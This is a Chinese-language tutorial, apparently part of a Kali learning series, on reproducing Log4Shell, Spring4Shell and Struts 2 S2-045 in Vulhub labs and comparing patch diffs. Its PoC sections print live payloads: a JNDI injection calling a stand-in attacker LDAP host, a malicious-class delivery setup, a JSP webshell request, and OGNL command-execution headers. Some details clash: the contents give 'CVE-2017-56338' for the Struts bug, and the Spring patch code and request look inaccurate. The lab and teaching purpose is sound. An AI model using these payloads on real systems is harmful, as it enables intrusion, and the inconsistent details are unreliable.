📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19-23 nmap扫描 → masscan → 指纹识别 → 漏洞扫描 → sqlmap注入
模块 2 Web 应用渗透 ✅ 已完成
24-31 XSS → CSRF → 命令执行 → 文件包含 → 反序列化 → XXE → 越权 → WAF绕过
模块 3 代码审计(进行中)
32 代码审计入门 ✓ | 33 Node.js原型链 ✓ | 34 PHP代码审计 ✓ | 35 Java代码审计 ✓ | 36 Python代码审计 ✓
37 CVE复现与源码对比分析 ✓(本篇 · 模块3收官)
38+ 模块4 漏洞利用与后渗透
CVE 复现与源码对比分析
网络安全 Kali 学习系列 · 第 37 篇 · 模块 3 代码审计 · 收官篇
读完本篇你将能:独立完成从漏洞通告到 PoC 复现的完整流程,理解 CVE 编号体系和 CVSS 评分机制,通过源码 diff 定位漏洞根因,并撰写结构化漏洞报告。本篇以 Log4Shell、Spring4Shell、Struts 2 三个经典 CVE 为案例,建立"看通告 → 搭环境 → 复现 → 审计 → 写报告"的完整能力闭环。
前五篇审计了 PHP、Java、Python、Node.js 的代码漏洞,但你可能仍有疑问:真实世界的漏洞是如何被发现的?安全研究员看到一条 CVE 通告后,怎么在几小时内写出 PoC?本篇回答这个问题——从"审计已有代码"升级到"复现已知漏洞",是从学习者向安全工程师过渡的关键一步。
目录
第一章 CVE 生命周期:从漏洞发现到补丁发布
第二章 漏洞复现方法论:五步工作流
第三章 Log4Shell(CVE-2021-44228)全流程复现
第四章 Spring4Shell(CVE-2022-22965)源码 diff 分析
第五章 Struts 2 OGNL 注入(CVE-2017-56338)环境搭建
第六章 漏洞报告撰写与负责任披露
第七章 分级练习
第一章 CVE 生命周期:从漏洞发现到补丁发布
CVE(Common Vulnerabilities and Exposures)是漏洞的"身份证号"。每个 CVE 编号背后都有一条从发现到修复的完整生命周期,理解这条链路是复现漏洞的前提。
1.1 CVE 编号体系
CVE 编号由 MITRE 公司统一分配,格式为 CVE-YYYY-NNNNN。年份是漏洞被分配编号的年份(不一定是发现年份),序号为5位以上数字。CNAs(CVE Numbering Authority)是授权分配编号的机构,包括微软、谷歌、Apache 等厂商和各大安全公司。当研究员发现漏洞后,向对应的 CNA 申请编号,CNA 审核后分配并录入 NVD(National Vulnerability Database)。
1.2 CVSS 评分体系
每条 CVE 附带一个 CVSS(Common Vulnerability Scoring System)评分,当前版本为 CVSS 3.1。评分由基础指标计算,分三个维度:
1攻击向量(AV):网络(N)、相邻(A)、本地(L)、物理(P)。Log4Shell 是 N(网络),提权漏洞通常是 L(本地)
2攻击复杂度(AC):低(L)或高(H)。Log4Shell 是 L(发个 HTTP 请求即可),DNS 重绑定攻击是 H
3影响(Impact):机密性(C)、完整性(I)、可用性(A),各分高(H)、低(L)、无(N)。RCE 类漏洞三项全高
Log4Shell 的 CVSS 3.1 评分为 10.0(满分),攻击向量 AV:N、复杂度 AC:L、权限 PR:N、用户交互 UI:N、影响 C:H/I:H/A:H。满分意味着:网络可达、无需权限、无需交互、影响全高。这种评分直接告诉你复现难度——满分漏洞的 PoC 通常极简。
💡 小贴士
CVSS 评分不是"危害等级"而是"可利用性指标"。一个 CVSS 9.8 的漏洞可能因为利用条件苛刻(需要内网位置、特定配置)而实际危害低于 CVSS 7.5 的网络可达漏洞。复现前务必看完整攻击前提(Applicability Statement),不要只看分数。
1.3 漏洞披露时间线
一个典型漏洞从发现到修复经历以下阶段,理解时间线有助于复现时选择正确的版本:
1发现(Discovery):安全研究员或攻击者发现漏洞,通常不公开
2负责任披露(Responsible Disclosure):研究员私下通知厂商,约定修复期限(通常 90 天)
3补丁发布(Patch Release):厂商发布修复版本,同时发布安全通告(Security Advisory)
4CVE 分配(CVE Assignment):MITRE 或 CNA 分配 CVE 编号,NVD 录入详情
5PoC 公开(PoC Publication):研究员或第三方发布复现代码,Vulhub 等项目跟进搭建环境
复现漏洞的关键:找到补丁发布前的最后一个受影响版本(作为靶机)和补丁版本(用于 diff 对比)。Git 仓库的 tag 和 release history 是定位版本的利器。
第二章 漏洞复现方法论:五步工作流
面对一条新 CVE,安全工程师的复现流程高度标准化。以下五步工作流覆盖从信息收集到报告输出的完整链路,后续三个案例都遵循这个框架。
2.1 五步工作流
1看通告:阅读 NVD/GitHub Advisory/厂商安全公告,提取:受影响版本范围、攻击前提、CVSS 评分、修复版本号
2搭环境:用 Docker 拉取受影响版本镜像,Vulhub 项目已为经典 CVE 预置环境,或自行编写 Dockerfile
3复现:运行 PoC 或手工构造请求,验证漏洞效果(RCE 优先验证 id 命令回显)
4审计:对比修复前后的源码 diff(git diff),定位漏洞根因,理解补丁修复思路
5写报告:记录环境信息、复现步骤、PoC 代码、根因分析、修复建议,输出结构化报告
2.2 关键工具
CVE 复现依赖三个核心工具,每个对应工作流中的一个环节:
Shell · CVE 复现三件套
tools.sh
|
1
2
3
4
5
6
7
8
9
10
11
|
# 1. Vulhub — 漏洞环境一键搭建
cd /opt/vulhub/log4j/CVE-2021-44228
docker-compose up -d
# 2. git — 源码 diff 对比
git clone https://github.com/apache/logging-log4j2.git
git log --oneline --all | grep "JNDI"
git diff log4j-2.14.1 log4j-2.15.0 -- log4j-core/src/main/java/
# 3. curl — PoC 请求发送
curl http://target:8983 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/pwn}'
|
Vulhub 是国内安全研究者维护的漏洞环境集合,覆盖 500+ 经典 CVE,每个环境附带说明文档和 PoC。git diff 是源码审计的核心武器——对比修复前后的代码变化,就能看出漏洞在哪里、补丁怎么堵的。curl 用于快速发送 PoC 请求,验证漏洞是否触发。
⚠️ 常见错误
直接拉最新版本镜像来复现漏洞
正确做法:必须使用受影响版本范围内的具体版本。例如 Log4Shell 影响 log4j-core 2.0-beta9 到 2.14.1,复现时应拉取 2.14.1 或更早版本。Vulhub 环境已锁定正确版本,但如果自行搭建 Dockerfile,务必指定版本号而非使用 latest 标签。
第三章 Log4Shell(CVE-2021-44228)全流程复现
Log4Shell 是 2021 年最严重的漏洞,CVSS 10.0 满分。Apache Log4j2 是 Java 生态最广泛的日志库,几乎所有 Java 服务都依赖它。漏洞根因:Log4j2 的 JNDI(Java Naming and Directory Interface)查找功能会在日志消息中解析 ${jndi:...} 表达式,攻击者在 HTTP 请求中注入这个表达式,当日志被记录时触发 JNDI 查找,加载远程恶意类文件并执行。
3.1 第一步:看通告
从 NVD 或 GitHub Advisory 获取关键信息:
•CVE 编号:CVE-2021-44228
•受影响版本:log4j-core 2.0-beta9 到 2.14.1
•攻击前提:网络可达、无需认证、无需用户交互
•修复版本:2.15.0(后续又出 2.16.0、2.17.0 修复绕过)
•CVSS:10.0(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
3.2 第二步:搭环境
Vulhub 提供了 Solr + Log4j 的集成环境,Solr 的日志功能使用了 Log4j2,可以直接触发:
Shell · Log4Shell 环境搭建
setup.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# 进入 Vulhub 的 Log4Shell 环境
cd /opt/vulhub/log4j/CVE-2021-44228
docker-compose up -d
# 确认 Solr 已启动(默认 8983 端口)
curl http://localhost:8983 | head -5
# 启动攻击者的 LDAP 服务(marshalsec 工具)
# marshalsec 将 LDAP 请求重定向到 HTTP class 加载
java -cp marshalsec.jar \
marshalsec.jndi.LDAPRefServer "0.0.0.0:1389/pwn"
# 同时用 python 起 HTTP 服务托管恶意 class 文件
python3 -m http.server 8888
|
3.3 第三步:复现
Log4Shell 的 PoC 极其简单——在任意会被 Log4j 记录的 HTTP 头中注入 JNDI 查找表达式。Solr 的 X-Api-Version 头会被记录到日志:
Shell · Log4Shell PoC
poc.sh
|
1
2
3
4
5
6
7
8
9
|
# 注入 JNDI 查找表达式到 HTTP 头
# Log4j 记录此头时触发 LDAP 查找
curl http://target:8983/solr/admin/cores \
-H 'X-Api-Version: ${jndi:ldap://attacker:1389/pwn}'
# 恶意类文件 Exploit.class(编译前)
# public class Exploit {
# static { Runtime.getRuntime().exec("id"); } // 类加载时执行
|
攻击链路:curl 发送含 JNDI 表达式的请求 → Solr 用 Log4j 记录该头 → Log4j 解析 ${jndi:ldap://...} → 向攻击者 LDAP 服务发起查询 → LDAP 返回远程类加载 URL → Java 加载并执行恶意类的 static 初始化块 → RCE 完成。
3.4 第四步:审计——源码 diff
Log4Shell 的补丁核心修改在 JndiManager.java 和 MessagePatternConverter.java。通过 git diff 对比 2.14.1 和 2.15.0:
Shell · Log4j 源码 diff
diff.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 克隆 Log4j2 仓库
git clone https://github.com/apache/logging-log4j2.git
cd logging-log4j2
# 查看修复 commit
git log --oneline --all | grep -i "JNDI"
# 对比 2.14.1 → 2.15.0 核心变更
git diff log4j-2.14.1 log4j-2.15.0 \
-- log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/
# 补丁关键变化(MessagePatternConverter.java):
# - 2.14.1: 无条件解析 ${...} 表达式
# + 2.15.0: 添加 lookups 属性,默认不解析 JNDI
# + 新增 JndiManager.restrict() 限制 LDAP/RMI 协议
|
diff 显示补丁做了三件事:一是 MessagePatternConverter 不再无条件解析 ${jndi:...},需要显式配置 log4j2.formatMsgNoLookups=true;二是 JndiManager 增加协议白名单,只允许本地 LDAP;三是默认禁用 JNDI 查找。理解 diff 后,你能解释为什么 2.15.0 仍被绕过(通过 ${ctx:...} 表达式),最终在 2.17.0 彻底移除 JNDI 查找功能。
💡 小贴士
Log4Shell 的影响面远超技术层面:它暴露了 Java 生态对 JNDI 机制的过度信任——一个日志库不应该有加载远程代码的能力。修复过程持续了三个版本(2.15.0 → 2.16.0 → 2.17.0),每次"修复"都被绕过,因为 JNDI 查找功能嵌入了太多代码路径。这个案例教会我们:安全补丁不能只堵入口,必须移除危险功能本身。
第四章 Spring4Shell(CVE-2022-22965)源码 diff 分析
Spring4Shell 是 2022 年 Spring Framework 的 RCE 漏洞,CVSS 9.8。根因是 Spring 的数据绑定(Data Binding)机制允许攻击者通过 HTTP 参数修改 Tomcat 的 AccessLogValve 配置,将访问日志写入 webroot 作为 JSP 文件,实现 webshell 落地。这个案例的独特之处在于:漏洞不在单个函数,而在"参数绑定 + Tomcat 内部对象"的跨组件交互。
4.1 漏洞原理
Spring 的 WebDataBinder 允许 HTTP 参数自动绑定到 Java 对象属性。攻击者利用参数遍历 Tomcat 的 ClassLoader 对象树,修改 AccessLogValve 的 pattern、suffix、directory 等属性:
HTTP · Spring4Shell 攻击请求
request.http
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# POST 请求,参数遍历 ClassLoader → AccessLogValve
POST /helloworld/greeting HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
# 修改日志写入路径到 webroot
suffix=.jsp
directory=webapps/ROOT
pattern=%{c2}i
# 第二次请求:通过 c2 头注入 JSP 代码
GET /helloworld/greeting HTTP/1.1
c2: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# 访问 /ROOT.2022-xx-xx.jsp 执行 webshell
|
4.2 源码 diff:补丁分析
Spring 5.3.18 的补丁修改了 CachedIntrospectionResults 类,核心变化是禁止对 ClassLoader 类的属性内省(Introspection):
Java · Spring4Shell 补丁 diff
patch.diff
|
1
2
3
4
5
6
7
8
9
10
|
// CachedIntrospectionResults.java
// 5.3.17(漏洞版本)— 无 ClassLoader 限制
BeanInfo beanInfo = Introspector.getBeanInfo(beanClass);
// 5.3.18(修复版本)— 禁止 ClassLoader 内省
if (beanClass == ClassLoader.class) {
throw new IllegalArgumentException(
"Data binding to ClassLoader not allowed");
}
BeanInfo beanInfo = Introspector.getBeanInfo(beanClass);
|
补丁仅加了 4 行代码,但精准切断了攻击链:当数据绑定尝试访问 ClassLoader 类的属性时直接抛异常,攻击者无法再通过参数遍历到 AccessLogValve。这是"最小补丁"的经典范例——不修改功能,只堵住危险路径。
第五章 Struts 2 OGNL 注入(CVE-2017-5638)环境搭建
CVE-2017-5638 是 Struts 2 最经典的漏洞,直接导致了 Equifax 数据泄露事件(1.43 亿用户信息泄露)。漏洞根因:Struts 2 的 Jakarta Multipart parser 在处理文件上传请求时,如果 Content-Type 头包含 OGNL 表达式,异常处理逻辑会调用 getText() 方法解析错误消息,触发 OGNL 表达式执行。
5.1 环境搭建与 PoC
Shell · Struts 2 环境与 PoC
struts2.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Vulhub 环境
cd /opt/vulhub/struts2/s2-045
docker-compose up -d
# PoC:OGNL 表达式注入到 Content-Type 头
curl http://target:8080/doupload.action \
-H 'Content-Type: %{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec("id"))}'
# 读取命令回显的版本(通过 OGNL 创建进程读取输出)
curl http://target:8080/doupload.action \
-H 'Content-Type: %{...getRuntime().exec(new String[]{"sh","-c","id"})...}'
# 漏洞根因(AbstractMultiPartRequest.java):
# 上传异常时调用:getText(error.getMessage(), args)
# error.getMessage() 含 OGNL 表达式 → 执行
# 补丁:改用 Literal getText,不解析表达式
|
这三个 CVE 的攻击路径对比揭示了漏洞复现的核心规律:Log4Shell 利用日志库解析功能、Spring4Shell 利用数据绑定遍历、Struts 2 利用异常处理的 OGNL 解析。三个漏洞的共同点是"用户输入进入了表达式解析引擎"——这与代码审计篇中学到的 SSTI(模板注入)原理完全一致。理解了模块 3 的审计知识,就能快速定位新 CVE 的根因。
第六章 漏洞报告撰写与负责任披露
复现漏洞的最终产出是结构化报告。无论是提交给厂商的负责任披露,还是内部安全评估,报告质量决定了你的工作价值。
6.1 报告结构
一份合格的漏洞报告包含以下七个部分:
1漏洞概述:一句话描述漏洞名称、CVE 编号、影响范围、CVSS 评分
2环境信息:操作系统、中间件版本、受影响组件版本号、网络拓扑
3复现步骤:编号步骤,每步包含具体命令和预期输出,他人可按步骤复现
4PoC 代码:可运行的攻击脚本,注释说明每行作用
5根因分析:源码 diff 截图、漏洞触发条件、调用链路图
6修复建议:升级版本号、临时缓解措施(如 WAF 规则)、配置参数
7影响评估:受影响系统清单、数据泄露风险、业务影响等级
6.2 负责任披露流程
如果你发现了新漏洞(而非复现已有 CVE),披露必须遵循负责任披露原则:
Text · 负责任披露时间线
|
1
2
3
4
5
6
7
8
|
Day 0 : 发现漏洞,编写 PoC 和报告
Day 1 : 私密联系厂商安全团队(security@company.com)
Day 7 : 厂商确认漏洞,协商修复计划
Day 30 : 厂商发布补丁,分配 CVE 编号
Day 90 : 公开披露(如厂商未响应,按 90 天披露窗口公开)
# Google Project Zero 标准披露窗口:90+30 天
# CERT/CC 协调披露:45 天默认窗口
|
90 天披露窗口是行业标准:给厂商 90 天修复时间,到期后公开漏洞详情和 PoC,倒逼修复。如果厂商在期限内发布了补丁,研究员在补丁发布后即可公开。如果厂商请求延期且有合理理由,研究员通常会配合延长。绝不在补丁发布前公开 PoC——这会让所有未打补丁的系统暴露在攻击中。
第七章 分级练习
🟢 基础练习:Log4Shell 全链路复现
练习 1:Log4Shell 环境搭建与 PoC 验证
任务:使用 Vulhub 搭建 Log4Shell 环境,完成从注入到 RCE 的全链路。
① 用 docker-compose 启动 Solr 环境
② 搭建 marshalsec LDAP 服务和 HTTP class 服务
③ 发送含 ${jndi:ldap://...} 的 HTTP 请求
④ 在攻击者机器上验证命令执行结果
验证标准:攻击者 HTTP 服务收到 class 加载请求,目标机器执行了 id 命令。
🟡 进阶练习:源码 diff 定位根因
练习 2:Spring4Shell 源码 diff 分析
任务:克隆 Spring Framework 仓库,对比 5.3.17 和 5.3.18 的 diff,定位补丁位置。
步骤:
1. git clone https://github.com/spring-projects/spring-framework.git
2. 切换到 5.3.17 标签:git checkout v5.3.17
3. 对比 5.3.18:git diff v5.3.17 v5.3.18 -- spring-web/src/main/java/org/springframework/web/servlet/mvc/method/annotation/
4. 找到 CachedIntrospectionResults 的变更
5. 写一段文字解释:为什么禁止 ClassLoader 内省就能修复漏洞?
验证标准:能指出补丁的具体文件和行号,解释攻击链如何被切断。
🔴 高级练习:撰写完整漏洞报告
练习 3:复现 Struts 2 CVE-2017-5638 并撰写报告
任务:按本篇的七部分报告结构,撰写一份完整的 Struts 2 OGNL 注入漏洞报告。
要求:
① 使用 Vulhub 搭建环境,发送 PoC 验证 RCE
② 克隆 Struts 2 仓库,找到补丁 commit,做 diff 分析
③ 报告必须包含:漏洞概述、环境信息、复现步骤(含命令)、PoC 代码、根因分析(含 diff 截图描述)、修复建议、影响评估
④ 报告格式为 Markdown,字数不少于 1500 字
验证标准:另一人按你的报告步骤能独立复现漏洞。
知识回顾
CVE 编号体系
CVSS 3.1 评分
五步复现工作流
Vulhub 环境搭建
Log4Shell JNDI 注入
Spring4Shell 数据绑定
Struts 2 OGNL 注入
git diff 源码对比
负责任披露
漏洞报告撰写
下一篇预告 · 模块 4 开启
📚 网络安全 Kali 学习系列 · 第 38 篇
Metasploit Framework 入门:从 exploit 到 session
代码审计模块完结,进入漏洞利用与后渗透阶段。Metasploit 是渗透测试的瑞士军刀,覆盖从漏洞搜索、payload 生成到会话管理的完整链路。下一篇将搭建 Metasploitable 靶场,实战 exploit 选择、payload 编码和后渗透操作。
网络安全 Kali 学习系列 · 模块 3 代码审计 · 第 37 篇 · 收官
学安全,为守护 · 用安全,为建设